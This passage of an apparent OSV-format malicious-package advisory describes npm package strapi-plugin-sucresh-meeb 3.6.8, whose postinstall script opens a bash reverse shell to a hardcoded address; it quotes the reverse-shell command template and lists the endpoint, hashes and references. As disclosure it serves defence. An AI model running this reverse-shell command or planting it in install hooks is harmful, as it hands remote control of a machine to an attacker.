The postinstall script uses child_process.exec to spawn a bash subprocess with an interactive reverse shell (`bash -i \u003e /dev/tcp/\u003chost\u003e/\u003cport\u003e 0\u003e&1`) connecting to the hardcoded remote endpoint 14.225.210.85:443. This gives the operator of that endpoint interactive shell control on the installing host at install time, with no authentication or user interaction. The package name mimics a Strapi plugin but the shipped code's install-time behavior is unauthenticated remote code execution against the installer.\n","modified":"2026-09-15T16:31:26.283391480Z","published":"2026-09-15T15:54:14Z","database_specific":{"malicious-packages-origins":[{"sha256":"33561abeab9c7a0c81c1b8aac01248b757234008d03e94dfc72817fa3078f17d","source":"amazon-inspector","versions":["3.6.8"],"id":"IN-MAL-2026-020056","import_time":"2026-09-15T16:19:14.97706021Z","modified_time":"2026-09-15T15:54:14Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/strapi-plugin-sucresh-meeb/v/3.6.8"}],"affected":[{"package":{"name":"strapi-plugin-sucresh-meeb","ecosystem":"npm","purl":"pkg:npm/strapi-plugin-sucresh-meeb"},"versions":["3.6.8"],"database_specific":{"indicators":{"evidence_files":[{"sha256":"dfa7478eb73161feed4ab606f488ee08eda7efe631fb5fc3b1a78367d4f52ad4","tlsh":"ae11cb4166f9673562338ddde60b942ba3474e05703ae517b98c03171ec6c8cc5426fd","path":"postinstall.js"},{"path":"package.json","sha256":"ed59784834b09f22e6cc274aa94a173fe0198aa56a2104b59976836dc07cecce","tlsh":"84d0a714ca2193337dc4a79d1813820bab715d071805f82c27f71148064bbbb9c7b35f"}],"package_integrity":[{"hashes":{"sha1":"8eacf17dcfd4c4ae583cac81ac3716b28fdfbf6b","sha512_sri":"sha512-Wzc8zOVIv6J6uxsyUdyLNX/MqTVIQxMrM3usQcr963BUZkTBX0ZnAgxf9+RYoc+NkC7U3gfqyikv4RkgGU9EHw=="},"filename":"strapi-plugin-sucresh-meeb-3.6.8.tgz"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/strapi-plugin-sucresh-meeb/MAL-2026-16189.json","cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}]}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
